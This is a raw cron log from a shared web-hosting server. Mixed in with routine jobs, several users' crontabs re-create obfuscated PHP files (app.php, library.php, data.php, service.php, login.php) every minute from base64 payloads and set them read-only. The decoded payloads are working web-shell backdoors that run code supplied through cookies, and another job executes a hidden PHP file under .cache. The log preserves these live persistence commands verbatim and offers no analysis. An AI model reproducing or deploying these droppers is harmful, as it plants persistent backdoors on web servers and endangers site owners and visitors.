Jun  7 08:11:01 medusa CROND[1802]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:11:01 medusa CROND[1804]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 08:11:01 medusa CROND[1805]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:11:01 medusa CROND[1806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:11:01 medusa CROND[1803]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 08:11:01 medusa CROND[1809]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:12:01 medusa CROND[3455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:12:01 medusa CROND[3464]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:12:01 medusa CROND[3465]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:12:01 medusa CROND[3466]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 08:12:01 medusa CROND[3467]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:12:01 medusa CROND[3471]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 08:12:01 medusa CROND[3472]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:12:01 medusa CROND[3475]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:12:01 medusa CROND[3476]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:12:01 medusa CROND[3481]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:12:01 medusa CROND[3482]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 08:12:01 medusa CROND[3484]: (energiae) CMD (/opt/cpanel/ea-php74/root/usr/bin/php /home5/energiae/analytics.energiaenmovimiento.com.ar/console core:archive --url=https://analytics.energiaenmovimiento.com.ar/ > /dev/null)
Jun  7 08:12:01 medusa CROND[3486]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:12:01 medusa CROND[3487]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:12:01 medusa CROND[3490]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:13:02 medusa CROND[5070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:13:02 medusa CROND[5083]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:13:02 medusa CROND[5084]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:13:02 medusa CROND[5085]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 08:13:02 medusa CROND[5086]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:13:02 medusa CROND[5096]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:13:02 medusa CROND[5095]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:13:02 medusa CROND[5097]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:13:02 medusa CROND[5098]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:13:02 medusa CROND[5099]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 08:13:02 medusa CROND[5102]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:13:02 medusa CROND[5101]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Jun  7 08:13:02 medusa CROND[5103]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:13:02 medusa CROND[5104]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:14:02 medusa CROND[6685]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:14:02 medusa CROND[6693]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:14:02 medusa CROND[6694]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:14:02 medusa CROND[6695]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
